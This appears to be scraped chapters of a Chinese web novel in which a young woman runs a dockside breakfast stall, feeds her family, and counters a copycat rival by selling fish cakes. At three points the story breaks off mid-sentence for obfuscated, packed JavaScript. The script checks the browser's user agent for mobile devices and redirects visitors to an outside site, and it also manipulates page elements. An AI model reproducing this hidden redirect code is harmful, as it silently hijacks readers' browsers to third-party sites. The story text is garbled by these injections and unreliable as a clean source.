那急切的模样实在好笑，姜婉瞧着林书晚忙碌的模样，便抽了双筷子，从碟子中夹起一块琥珀色的五花肉，略微吹了吹便送到谨哥儿口中，才入口炖得软烂肥肉便顺着他的嗓子滑了下去，谨哥儿顿时瞪大眼睛，半晌回过神来，哭丧着脸道：“肉肉直接滑下去了。” 闻言，母女俩面面相觑，半晌回过神来，没忍住笑出了声，“阿娘，我再炒个楚葵便能吃饭了。” 楚葵便是后世的芹菜，在船上的那些日子，日日吃菘菜吃的林书晚自己都快变成菘菜了，今日在集市一瞧见这楚葵，她就买了一捆，大约有个三四斤的样子，她炒楚葵的做法与旁人不太同，她会在炒前用盐将楚葵腌制一段时间，这样炒出来的楚葵便不会有苦味。 林书晚手脚麻利地将楚葵处理好，冷锅倒入荤油，最后倒入楚葵，不过一盏茶的时间，碧绿清脆的清炒楚葵便出锅了。 石桌上摆着整整齐齐的四菜一汤，待到姜婉一声开饭，谨哥儿都无需旁人帮忙，抄起手边的勺子，踮着脚舀了几块带着汤汁的五花肉浇在米饭上，捣吧捣吧就着五花肉的汤汁，吃得满嘴流油。 就着那盘红烧肉，连姜婉都比平日里多吃了半碗米饭。 三人吃饱喝足后，林书晚捧着今日收钱的匣子，同三人匆匆钻入东厢房中，落了锁，取了一方帕子铺在床铺上，又顺手扯过两根稻草搓成一根草绳，一边数着一边将铜钱串起。 今日她一共准备了五十份鸡蛋饼，青芜同谨哥儿一人吃了一个，一共卖了四十八份，其中卖了二十份六文钱的鸡蛋饼，另外二十八份便是十五文的全家福，因着猪排还有剩余，她便直接以五文钱一个单卖了，统共卖了二十八块。 “今日卖饼的钱统共赚了六百八十文。”姜婉一边拨着手中的算盘，一边将今日卖饼的收入记下。 青芜同谨哥儿两人捧着铜钱穿线，听着姜婉算盘“噼啪”几声，便将金额算出，圆润的眼中皆是崇拜，“姑母，好厉害。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晨曦微露，昨日忙了一整日的林书晚难得起晚了，她撑着胳膊，坐起身子，借着窗外微弱的光线，瞧见身侧的谨哥儿整个人埋在被褥中，小脸睡得通红，她抿唇一笑，轻手轻脚拖过一旁的外衣披在身上。 下床之际，惊醒了里侧的姜婉，她睡眼朦胧地坐起身子，目光扫过门外亮起的火光，“晚娘醒了？何人在外头生火？” 闻言，林书晚轻声轻脚走到靠外侧的木塌，上头被褥叠得整整齐齐，心中了然，压低着嗓音同姜婉道：“是阿芜，她起了。” 说罢，她推门而出，果真如她所料，青芜蹲坐在炉子旁，烧了锅热水，又另起一炉，将昨儿晚上吃剩的菠菜粥同荠菜包子热上，瞧着她瘦小的背影，林书晚心中微暖，缓步走至青芜身侧，接过她手中的竹扇，“阿芜快去洗漱，这边我看着便好。” 青芜点头应道，取过木齿与牙粉便去水井旁洗漱。 随着巷子外头鸡鸣声响起，姜家小院的四人陆陆续续都起床了，就着昨日剩下的菠菜粥同荠菜包子，简单吃过朝食后，便同昨日一样，姜婉一人在家绣着荷包与帕子，林书晚带着青芜同谨哥儿去码头摆摊。 待到三人赶到码头，昨日的摊位前竟排起了长队，领头那人正是这码头的管事名唤蒋大壮，他远远瞧见林书晚，还不等她将摊位摆好，便高声唤道：“小娘子你可算来了，我同昨日一样要四个全家福。” “好勒，您稍等片刻。”林书晚三步并作两步走到自家摊位前，手脚麻利地将桌案摆好，接过青芜递来的装着食材的木匣，一一摆在桌案上头，黄萝卜青瓜紫苏芫荽切成丝状，红的绿的白的整整齐齐摆在一块，霎时好看。 再往边上便是装着猪排与鸡肉丸子的木匣，木匣旁摆着两只竹筒，一只里头装满褐色的酱料，另一只便是她特意熬制的茱萸酱。 将食材摆好后，林书晚塞了谨哥儿一袋子鸡肉做的零嘴，叮嘱他莫乱跑，便唤过青芜收账，自己架起炉子，舀了勺面糊摊在饼铛上头，木铲沿着面糊中间扫过，伴随着焦香的滋味，一张又圆又薄的面饼出现在她手下。 猪排是昨日就炸过一遍，如今只消在饼铛上头煎一煎，便能卷在面饼中，一时间肉香四溢，勾得一旁摊位上圆脸娘子连生意都顾不得做，伸长了脖子朝林书晚这头张望，只见饼铛上头蜜色的猪排滋滋冒油，香，实在是太香了，她都不敢想若是自己能吃上这么一口，该美成什么样。 正在那圆脸娘子挣扎之际，林书晚那头蒋大壮的鸡蛋饼做好了，用早前裁好的油纸，就那么一包，简单又美观，还十分干净。 早被香味勾得馋虫四起的蒋大壮，接过鸡蛋饼连吹都来不及吹，迫不及待一口咬下，当即心满意足地从林书晚摊位前离开。 待到林书晚摊位前的人渐渐散去，隔壁的圆脸娘子实在忍不住了，她昨日瞧着那小娃娃吃得香便馋得很，原想着待到力夫上工后，她去买上一块尝尝，谁料还没等到她，那鸡蛋饼便卖空了，好悬才抢到五个生煎。 说起那生煎，那味道实在太好了，肉汁充盈，鲜甜可口，底部焦香酥脆实在好吃极了，她觉得那滋味哪怕是同全廉州最好的酒楼相较也差不了多少。 “娘子，给我也来上一个全家福。” 闻言，正捶着自己酸软胳膊的林书晚抬头，便见一位长相十分讨喜的圆脸娘子站在自己摊位前，眼巴巴地视线直勾勾落在桌案上装着猪排的匣子中，想来也是个吃货，笑着应道：“娘子稍待片刻，我这便给你做。” 瞧着林书晚快手快脚地烙着面饼，她也不见外，从自家摊位上拖过一张矮凳，便坐在林书晚铺子旁，撑着脸瞧着她的动作，“娘子手艺真好，这饼皮烙得又圆又薄。” “那是，我阿姐的手艺是最好的。”原本还在打着瞌睡的谨哥儿听着有人夸赞林书晚，立马精神了，捧着自己装着零嘴的袋子骄傲道。 那与有荣焉的模样实在可爱，逗得圆脸娘子笑得前仰后合，片刻从自己铺子去了一碗米粉回来，“小家伙尝尝我家的酸汤米粉味道如何？” “娘子，这如何使得？”林书晚心中一惊，就要推拒。 却见圆脸娘子摆了摆手，直言道：“无妨，我瞧着娘子合眼缘有意结交一番，日后我们同在此处摆摊，自是要相互照应才好，对了我名唤秦语，娘子尊姓大名？” 话已至此，林书晚自是不再推拒，来了这些日子，除了昌平街的街坊邻居，她便再无认识的旁人，秦语性子爽朗，或许是个不错的友人，她眉眼弯弯从装钱的木匣中取出十五枚铜板，塞回秦语手中，笑道：“秦娘子好，我名唤林书晚，今日我们头一遭认识，你既给了酸汤米线，那今日这鸡蛋饼便也送与你了。” 日子过得极快，转眼林书晚已在码头摆了四五日的朝食摊，这几日生意稳定，她瞧着谨哥儿时常坐在摊位后头，跟只鸡崽子似的打瞌睡，今日便未再带他出门，谁料她同青芜才带着东西走到秦语摊位旁，东西还没放下，便瞧见她冲着自己挤眉弄眼的，“秦娘子这是怎么了？” 闻言，秦语霎时垮了脸，她恨林书晚是个榆木脑袋，匆匆将米粉递到食客手中，便凑到林书晚跟前，压低着嗓音道：“林娘子你且瞧瞧我摊位的左侧。” 林书晚的摊位靠近码头，正巧在秦语右侧，方才来时也是从右侧来的，倒是还没来得及往左侧看，如今顺着秦语的视线，她一眼瞧见“祝家鸡蛋饼”五个大字杵在眼前，摊位后头立着一对小夫妻俩，那模样瞧着约莫二十岁上下，同她一般，跟前摆着一张桌案，连上头的食材瞧着都同自己一模一样，心中了然，模仿者出现了。 心中虽有些膈应，只面上不显，只神色如常地将食材取出摆好，炉子架起，等着食客上门。 怎料她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265184|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一点不急，秦语都快急死了，“我的好娘子，人家都舞到你跟前了，你竟不作一点反应？你可晓得，你的全家福鸡蛋饼卖十五文一个，他俩倒好卖十文钱一个，生生比你便宜了五文，今日我来得早，瞧见好几个往日在你这处买鸡蛋饼的，都去他们那处了。” 话音一落，林书晚还未开口，青芜倒是按捺不住了，撸起袖子就要往祝家鸡蛋饼的摊位去同他们理论，刚踏出一步，就被林书晚扯住后领，抬头瞧了眼青芜似斗鸡一般的样子，轻声安抚，“莫要闹事，这鸡蛋饼又非我一人独有，况且人家在此处正经摆摊，我们有何理由去寻他们的麻烦。” “那便任由他们欺辱到我们头上来？”青芜气急，又害怕那夫妻俩瞧自家笑话，只好压着火气，委屈得眼眶通红。 望着跟前两人气呼呼的模样，林书晚忍不住嘴角一弯，因旁人模仿自己的郁气一扫而空，笑着捏了捏青芜的脸颊，“秦娘子不晓得，阿芜你还不晓得你家娘子的手艺吗？这酱料可是我独门秘制，他们学了卖鸡蛋饼的法子，这酱料可是偷不走的，好了莫气了，快帮我将东西摆好。” 总算是将青芜哄好，林书晚瞧见秦语似乎还要开口，当即拽着她走到一旁，“秦娘子，我晓得你要说什么，无非是降价跟他们卖一样的价格，亦或是更低，且不说我这鸡蛋饼值这个价，更是如今只有一家，若是以后再多上几家，那这价格会更低，降价之事不可行。” 闻言，秦语讷讷无言，她其实也晓得降价实乃无奈之举，只是她实在想不到其他破局之法，又不想瞧着林书晚生意萧条，这才想出言提醒，可如今瞧着她坚定的模样，心中莫名也多了几分对她的信任，相信她能将此事完美解决，便点了点头，笑道：“既娘子心中有了成算，那我便不多说了，只是娘子日后若有需要帮忙之处，只管提便是。” “多谢秦娘子。”听着此言，林书晚心中划过暖流，笑着应道。 两人说完话，那头青芜东西也摆好了，蒋大壮早早候在摊位前，一瞧见林书晚就凑上前来，指着那头的祝家鸡蛋饼道：“小娘子不必忧心，那家鸡蛋饼价格虽比你便宜些，但我买过的下属同我说，那味道远不如你，应是影响不了你的生意。” “多谢郎君宽慰，今日可还是同往日一样？”林书晚冲蒋大壮福了福身，问道。 “对，还是老样子。” 虽听蒋大壮所言，祝家鸡蛋饼的味道远不如自己，但到底还是受了低价的影响，今日难得的林书晚摊位前没有排了长队。 这一幕落在不远处的素面摊店主眼中，不由幸灾乐祸地笑了，他凑到卖包子的摊主旁，低声道：“你瞧我说什么来着，那臭丫头不过就是仗着有几分姿色，外加那鸡蛋饼新奇，这才生意好，你瞧今日不过多了一个祝家鸡蛋饼，她便生意寥寥，恐怕都不用我等出手，她这生意便要做不下去了。” 12.昂刺鱼汤 清晨的码头十分热闹，来来往往的行人，或是挎着竹篮或是背着竹筐，穿行在街道上，街道两侧食摊蒸腾着热气，叫卖声不绝于耳。 林书晚今日来得时辰刚好，才把蒋大壮的鸡蛋饼做好，陆陆续续就有刚下工的伙计从码头那处走来，说来也巧，今日码头靠了一艘三层高的商船，估摸着是从旁的地方来做生意的，一早上来来往往搬了不少货物。 眼瞅着那些伙计靠近，林书晚便听见卖鸡蛋饼的摊位开始吆喝，“热腾腾的鸡蛋饼，量大管饱，时蔬全加只要四文钱，只要四文钱！走过路过不要错过！” 直奔林记小食摊来得伙计们，愣住了。 林书晚抬头往那处瞧了眼，恰好对上妇人挑衅又充满恶意的眸子，心中了然，这是明晃晃来抢生意来了。 相熟的几位食客，听着有更便宜的吃食，脚下步子一顿，有些踌躇。 片刻之后，有人半开着玩笑同林书晚道：“林小娘子人家只要四文钱，不若你也便宜个几文钱，我们大家伙还是去你那处买鸡蛋饼如何？” 闻言，林书晚抬头挑眉，嘴角擒着笑意，“降不了，我家鸡蛋饼就值这个价。” 如今对面明摆着就是低价抢生意，就如方才自己同秦娘子所言，今日自己若降价了，边上那家势必会跟着降价，往复循环，没完没了，不如就直接干脆说明，自己摊位绝对不会降价。 更何况若今日自己降了价，往后再要涨回去可就难了。鸡蛋饼本身利润就不高，况且自己也不打算一直卖它，不如就借此机会出些新的吃食，毕竟若是想要长久的留住食客，能稳定出新品也是极重要的。 这边林书晚正思索着，那便丁卯手一挥便道：“不过就是便宜两文钱罢了，我就好林娘子的手艺。” 说罢，疾步走至林书晚摊位前，毫无见外的拖来隔壁秦娘子摊位上的矮凳，“林娘子要两个全家福鸡蛋饼。” 说着转头又冲隔壁秦娘子笑道：“再劳烦秦娘子给我一碗酸汤米线。” “好勒，您稍等。”两人笑着应下。 到底还是受了边上摊位低价的冲击，今日林书晚摊位上的人比前几日着实少了不少。 不过也有几人去瞧了瞧又回来的，蹲在林书晚摊位前，捧着鸡蛋饼，边吃边与身边的同伴说着方才所见，“还好你方才没去，你是没瞧见那家鸡蛋饼桌上摆得乱七八糟，那妇人指甲里头都黢黑一片，就跟没洗过手似的，还有啊，那肉片切得七零八落卷在面饼里头，看着就倒胃口。” “你快别说了，方才你走得早没瞧见，那妇人烙饼，面糊就给一小勺，这也算了，但是那饼里头的配菜，她上手就抓，我是一口都吃不下的，劳烦林小娘子给我来个全家福。”片刻，又折回来一人满脸嫌弃。 若是往常还好些，但这几日实在是被林书晚养刁了，她做鸡蛋饼，烙饼皮有专门的铲子，肉排同时蔬又有两把夹子，从不会徒手去碰那些吃食，更别提平时不用的时候，那装着食材的小木匣还盖着盖子，两相对比，高下立判。 话虽如此，但总还有贪图便宜之人，去那铺子上吃，一来二去的，林书晚原本只要半个时辰便能卖完的鸡蛋饼，今日足足卖个将近一个时辰才卖完。 林书晚收拾着东西，垂眸琢磨着对策，忽而想起这几日在集市上瞧见不少卖鱼的摊位，自己还问过一嘴，鱼价十分便宜，但腥味实在太重，除了实在穷苦的人家，廉州也甚少有人吃鱼。 加之鱼肉刺多，处理起来虽说不难，但极废时间，故而除了酒楼食肆，寻常人家摆摊也甚少有买用鱼肉做的吃食，正是个空缺，林书晚心中有了成算，当即唤了青芜将自家摊位前的矮凳还给秦娘子，同她打了声招呼，便要领着青芜去集市，走时瞧了眼不远处的摊位，夫妻俩干劲十足，瞧着今日应是赚了不少银钱。 “娘子，明日我们还是只卖鸡蛋饼吗？”青芜提着碳炉跟在林书晚身后，扫了眼满脸喜色的夫妻俩。 走过长春桥，便是集市。 茶楼、酒肆、当铺作坊的小二撑起窗子，开门迎客，空地上挤挤挨挨摆满了摊铺，货郎挑着扁担穿行其中，热闹喧嚣。 林书晚远远瞧见一家卖鱼的铺子，领着青芜便往那处去了，路上同她解释，“自然不是，如今有了第一家模仿的，日后肯定还会有第二第三家，自然是要多出些新鲜的吃食，这样才不会被人取代。” 青芜一知半解，但她瞧着林书晚胸有成竹的模样，心中大定，不再多言，跟在林书晚身后，瞧着路边摊位上各式各样的小玩意眼花缭乱。 “大爷，您这鱼怎么卖的？”林书晚在卖鱼的摊位前蹲下，提起一条约莫二十多斤的青鱼问道。 闻言，卖鱼的大爷抬起头，瞧着跟前停了个年岁不大的小娘子，一咧嘴，露出一口黑牙，比出一个手指，“十文钱一斤，这可是今日刚从河中捞的。” 话音一落，林书晚面色不变，拽着身边的青芜扭头就走。任凭那大爷喊破嗓子都没回头。 “娘子，为何要走？”青芜不解地回头。 林书晚脚步顿了顿，同青芜解释，“廉州水系发达又靠海，河鲜是最不值钱的东西，阿芜可还记得我们头一日来廉州，我煮了一锅鱼片粥，那是那条草鱼是五文钱一斤，我估摸着廉州鱼肉的价格大约在五文钱到八文钱之间，方才那老丈分明是瞧着我们两个年岁不大，想讹我们一笔。” “这人也太坏了些。”青芜气呼呼地开口。 “无事，我们不买他的便是。”林书晚领着青芜往集市深处行去，总算是寻到初时买鱼的那家摊位，她叮嘱着青芜看好吃饭的家伙什，自己从人群中挤入，挑了条个头极大的青鱼，正打算离开，余光扫见木盆里头几条黄色的鱼，似乎是她后世常吃的昂刺鱼。 当即又买了五条昂刺鱼，打算今日回去炖上一锅鱼汤给几人补补身子，既买了鱼，那便还得再买上几块豆腐，鱼汤配豆腐那味道鲜得人眉毛都要掉了。 大约过了一刻钟，林书晚领着青芜从集市里头钻出，两人手中提的满满当当，青芜手中甚至还捏着两盒凉糕，那是方才林书晚在买鱼事，她瞧见一处小摊正卖着凉糕，颜色通透，上头浇了层桂花香蜜，甜香四溢，青芜一时走不动道，又不开口，只眼巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287790|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴地瞅着，那模样就跟小狗似的，实在可爱，林书晚当即给她同谨哥儿各买了一份。 回到姜家小院，林书晚将买回来的鱼养在盆中，姜婉自觉接过饼铛走到水井旁，“晚娘今日生意如何？” 怎料林书晚还未来得及开口，憋了一上午的青芜按捺不住了，将凉糕递给谨哥儿，“夫人你是不晓得，今日我跟娘子才到码头，便瞧见一对夫妻俩学着我们也卖起了鸡蛋饼，卖便卖了，他们还故意低价抢生意，若不是娘子拦着我，我今日势必要与他们理论一番。” 瞧着姜婉面露担忧，林书晚无奈一笑，扯了扯青芜的衣服，让她闭嘴，“阿娘别听这丫头胡扯，今日午食炖鱼汤如何？” 听着林书晚生硬的转移话题，姜婉心知她不想多言，便同她说着谨哥儿今日出门同赵婶娘家的轩哥儿领着箱子里头的几个娃娃，在外头玩过家家的游戏，他同轩哥儿争着吵着要当学堂的先生，争吵之下，周家的云姐儿提议两人背诗比赛，谁先背不出来，谁就失败，谨哥儿一字之差输给了轩哥儿，气得他回来时还红着眼眶。 “谨哥儿可要开始读书了？”林书晚笑得前仰后合，直到对上谨哥儿哀怨的目光，这才勉强收住笑意，点了点他的脑袋。 “要！”谨哥儿戳着碗中的凉糕，大声道。 总算笑够了，林书晚便打算开始做今日的午食，昂刺鱼汤做法简单，只要将鱼腥处理好即可，她提着昂刺鱼，在水井旁处理好，又用葱姜水腌制一炷香，这样便能去掉一部分腥味。 铁锅烧热，倒入菜籽油，下入一早切好的葱姜炒出香味，林书晚飞快划入昂刺鱼，“滋啦”一声，荤香四溢，不过片刻浓郁的香味便在整个小院弥漫，方才还发愤图强要好好读书的谨哥儿，撇下手中的凉糕就围在炉子旁，上蹿下跳的，逗得林书晚笑出了声。 “谨哥儿莫急，一会便能吃饭了，你且去同阿芜帮姐姐把黄萝卜跟青瓜洗了。”林书晚用手抵着谨哥儿，生怕他被锅中溅出的油烫到。 很快鱼汤出锅了，奶白色的鱼汤上头浮着一层金黄的油脂，切成块的豆腐在汤中沉浮，鲜香的滋味在院中散开，勾得人直咽口水，姜婉帮着林书晚将鱼汤端到桌上。 林书晚将蒸米的砂锅端到桌上，冲着还在洗萝卜的两人喊道：“吃饭了。” 早就盯着这头的两个小家伙闻言，一把甩开手中的胡萝卜，飞扑到桌旁，昂刺鱼刺少肉嫩，最适合炖汤吃，也不怕两个小家伙被鱼刺卡了，林书晚盛了一碗鱼汤递到姜婉面前，“阿娘先尝尝鱼汤。” 才入口，姜婉霎时瞪大眸子，鱼汤浓白鲜香，入口鲜美丝滑，鱼肉入口极化，尤其是里头的豆腐，才咬了一口，里头的汤汁就充盈在口齿之间，这味道实在太鲜了，且不说姜婉还在细细品尝，那头谨哥儿同青芜两人早就将整个脸埋在了碗中，握着勺子吃得半张脸跟花猫似的，一口接一口都来不及说话。 “慢些吃，别噎着。” 待到几人吃饱喝足后，谨哥儿捧着圆滚滚的肚子瘫在门檐下晒着太阳，青芜帮着姜婉把碗筷收拾好，林书晚便打算处理今日刚买的那条青鱼。 13.鱼肉饼 林书晚提着青鱼走到水井旁，快手快脚将鱼头剁下，开膛破肚之时，外头传来敲门声。 水井旁的青芜飞快起身，擦了擦手，一边嚷着“谁啊”，一边往门口走去。 “晚娘是我，隔壁的周婶娘。” 青芜拉开门，果真是周婶娘站在门口，手中还捧着几只嫩黄色的小鸡崽，颤颤巍巍躲在她手心，青芜还未开口，谨哥儿听着声就窜出来了，眼巴巴地盯着鸡崽子，又怕林书晚不同意自己养，便扭头瞪着双大眼直勾勾地盯着林书晚。 这下林书晚撑不住了，笑着唤了青芜将周婶娘迎进来，“婶娘，家中简陋没什么好茶，只能委屈你喝杯清水了。” 说罢，林书晚就着井水洗了洗手，拍了拍谨哥儿的肩头，让他把还在屋中绣着荷包的姜婉喊出来。 “晚娘，你这青鱼是买来自己吃的？”周婶娘将那两只小鸡崽寻了个竹篮摆好，笑着接过水碗直道“不麻烦”，抿了一口，目光打量着姜家小院，倒是整洁了不少，心中暗道这林娘子倒是个勤快的，只可惜家中没了男人，只留这几个孤儿寡母的，实在可怜。 闻言，林书晚目光顺着周婶娘的视线落在她还没处理完的青鱼上，笑了笑，“婶娘晓得的，阿娘同谨哥儿前些日子生了场大病，总要给他俩补补。婶娘这鸡崽子是何意？” “哦，我跟你周叔瞧着你摆摊日日都要买不少鸡蛋，便想来问问晚娘能不能直接从我家收。”话音一落，周婶娘坐直了身子，脸上泛起一层红晕，迟疑了片刻，才咬着牙道，“晚娘你不晓得，但你阿娘肯定知道，我家养的鸡要比旁人养的壮实不少，下的鸡蛋个头也大。” 话音一落，林书晚同赶来的姜婉对视一眼，眼中满是考量。 周婶娘瞧着林书晚一言不发，心中忐忑，“晚娘我晓得你心中顾虑，我同你周叔商量了，咱们邻里邻居的，我也不同你说虚的，实在是家中鸡养得多，鸡蛋吃不完，本来是日日去集市摆摊，可如今源哥儿他奶奶摔坏了身子，要人照顾，你周叔又是货郎，难得归家，这才想着寻……” “婶娘，你若是愿意卖我鸡蛋，我自然是高兴的，方才我只是在想用何价格收合适。”林书晚替周婶娘倒了杯热茶笑着安抚，确实如她所言，自己摆摊日日都要鸡蛋，而且周婶娘是养鸡鸭的一把好手，若是能与周家婶娘签了供货契书，那自然是再好不过的，只是这价格得定好，免得日后两家生了龃龉。 话音一落，周婶娘面露喜色，晓得如今姜家做主之人是林书晚，殷切地拉出她的手，笑道：“晚娘，我同你阿娘也算旧识，自然不会贵了你的，我同你周叔一早便商量好了，外头的鸡蛋是三文钱一个，我便宜你一文钱，两文钱一个如何？” 自然是好的，一个便宜一文钱，林书晚这些时日，几乎每天都要耗费一百来个鸡蛋，这样每日都能省下一百余文，对如今的她来说可是一笔不小的钱，当即拍案决定从周婶娘家订购鸡蛋，两家约好明日寻了巷尾的汪大爷一同去衙门寻了讼师签上一份供货契书。 如林书晚所言，倒不是不信任周家婶娘，实在是关乎两家的情分同利益，签了供货契书，更是对两家的保障。 林书晚送周家婶娘走到门口，只见她欲言又止，迟疑许久才开口道：“晚娘若是家中银钱不过，巷子里头的街坊邻居都会帮衬一把，实在没必要买鱼吃。” 鱼肉刺多又腥，若不是家中实在没钱，压根不会有人买着吃，倒是宝德楼有卖，听说那一份红烧鱼要三百文，说是京中传来的处理手法，能将鱼的腥味去的干干净净，她也没吃过，也不晓得真假。 听着此言，林书晚愣住了，半晌回过神来，想同周婶娘解释，她早就走远了，林书晚无奈叹了口气，心道无妨，等明日自己出摊了，廉州城便也晓得自己家的鱼肉饼了。 她瞧着正在巷子里头同隔壁源哥儿几人玩耍的谨哥儿叮嘱几人小心些，别跑远了，转头回了家中，处理方才没弄完的青鱼。 青鱼个头大，处理起来不难，林书晚从背部将整条鱼劈成两半。 姜婉蹲坐在水井旁，瞧着林书晚麻利的动作，面目忧愁，“晚娘，你今日答应了周家，若是日后其他街坊邻居也来寻你可怎么办？” 闻言，林书晚提着刀的手微微一顿，片刻又若无其事地剔着鱼片，“阿娘，日后的事日后再说，眼下每日我们就要用百来个鸡蛋，一百文能买好几条鱼了。” 一时间，姜婉讷讷无言，只好生硬地转移话题，“晚娘你这鱼买来何用？” “用来做鱼肉饼，卖了几日鸡蛋饼，总要出点新品，才能吸引新的食客。”林书晚笑着解释，将片好的鱼片放到葱姜水中腌制，鱼肉饼做法简单方便，甚至比鸡蛋饼还要简单些。 “才不是呢，分明是今日码头来了一家摊位，学着娘子卖鸡蛋饼，还故意压低了价格，分了我们不少食客，娘子这才打算出新品的，要我说那夫妻俩真不要脸。”青芜脸皱在一块，泄愤似的捶打着盆中的鱼肉。 林书晚扭头对上姜婉担忧的目光，无奈一笑，拍了下青芜，“阿芜快闭嘴吧，还好谨哥儿去外头玩了，若让他听见了说不准要急哭了。阿娘别听她胡扯，有同行是一回事，另外我们做吃食生意的，总归要时常弄些新花样，这样才能吸引住食客。” 日头西斜，落日的余晖将整个昌平街笼罩，谨哥儿一手提着一只鞋，鬼鬼祟祟朝门口靠近，推开门探头朝里头张望，瞧着小院空无一人，这才放下心来，蹑手蹑脚朝水井旁去。 眼见着谨哥儿的手就要摸到水桶，才将猪肉切成块腌好的林书晚从屋中出来，两人一时愣在原处，林书晚瞧着他脚上干巴的淤泥，霎时眼前一黑，“阿娘！阿娘！你快出来，谨哥儿不晓得去哪里野了，弄得一身泥回来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298551|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 姜婉闻讯而来，瞧着院中的泥娃娃，一时间哭笑不得，这不洗澡是不成的了，好在昨日将他的新衣裳做好了，不然连换洗的衣裳都没了，母女俩一人去提热水，一人将洗澡的浴桶搬出来，通力合作之下，不到一盏茶的时间，谨哥儿就被脱得光溜溜地按在水中。 两人听着谨哥儿断断续续的叙述才晓得，他们几人原本在巷子中玩得好好的，忽然源哥儿提议说这几日码头来了几艘商船，在河边捞鱼，几个小的好奇极了，就结伴往河边去了，好在单胆子不大，倒是没往深处去。 不过片刻，隔壁传来叫骂声与源哥儿的哭声。 “臭小子，你真是气死我了，看老子今日不打死你，还敢带着巷子里那个娃娃去河边。” “阿爹不敢了，再也不敢了。”源哥儿哭着嚷道。 …… 谨哥儿下意识沉到水中，眼巴巴地瞅着林书晚，湿漉漉的头发搭在脑门上，像只被人丢弃的小狗，那模样瞧得林书晚再大的气都消了，只好捏了捏他的脸颊，“以后可不许再去河边了。” “咕噜。”谨哥儿一张嘴，冒出几个泡泡，记着开口保证又呛了口水，咳了好一会才缓过神来，脸颊涨得通红，眼眶包着一汪泪道：“晓得了。” 次日一早，林书晚同青芜两人早早赶到码头。 才将东西摆好，左侧那对夫妻俩推着车就来了，“哐啷”一声，男子手一松，将板车砸在地上，扬起一片尘土，林书晚赶忙将抽出一块布盖在自己的桌案上，皱着眉朝那人瞧了眼，却见那人眉头一挑冲着自己露出恶意满满的笑容。 紧接着林书晚便听到那人开口吆喝，“新鲜出炉的鸡蛋饼，只要三文钱一个，只要三文钱一个！诸位千万不要错过！” 竟比昨日又便宜了两文，看来这两人是铁了心要抢自己的生意，林书晚垂眸，心中怒意渐甚，再不惯着那夫妻俩，瞧着陆陆续续从码头那处走来的伙计们，高声道：“今日林记小食摊推出新品——鱼肉饼，原价五文钱一个，今日来的食客只需三文钱，明日回归原价，鱼肉变三文钱一个，个头大味道美，可谓是物美价廉，诸位走过路过不要错过。 三文钱买不了吃亏，买不了上当，今日共计一百块，卖完为止，先到先得！” 话音一落，旁的不用说，林记小食摊的忠实粉丝蒋大壮与丁卯早早越过其他摊位直奔林书晚而来，人还没走近，声音先到，“林娘子那鱼肉饼给我先来个三块，再来两个鸡蛋饼。” 他俩话音才落，原本还在踌躇的伙计们，脚下步子一转就往林书晚摊位挤了过来，那模样生怕自己抢不上似的，毕竟三文钱的鱼肉饼只卖一日，明日就要变回五文钱，整整便宜了两文钱呢，有便宜不占是王八蛋，更别提祝家那鸡蛋饼的味道远不如林娘子做的，再说连吃了几日的鸡蛋饼，今日有新的吃食，自然是要尝尝的。 14.打赌 日头高升，码头上的伙计渐渐散去，被骂作宵小的夫妻俩瞧着跟前车上还剩了不少食材，万分憋屈，昨日瞧着自己低价抢了那小娘子不少生意，原以为今日自己再压两文钱，就能让那小娘子灰溜溜的滚回家去，谁晓得她搞出个什么鱼肉饼，又将食客抢了回去。 当真可恨，一群没见识的东西，鱼肉有什么好吃的，男人怒意渐甚，当街踹了那妇人一脚，骂道：“没用的东西，连鸡蛋饼都做不好，老子要你何用！” “没用的夯货，这两日老娘忙前忙后，你有出半分力？连食材的钱你都没拿出一文来。”岂料那妇人也是个泼辣的，当即指着男人的鼻子就骂。 不一会儿，祝家鸡蛋饼摊位前就围了不少人，青芜拽着林书晚去凑热闹，听着夫妻俩的争吵，林书晚隐约拼凑出事情的起因，原来这两人就住在码头附近，这几日瞧着林记小食摊生意火爆，原以为林书晚卖得吃食什么复杂，谁料三日前发现她卖得鸡蛋饼做法同卷饼差不离，便起了歪心思。 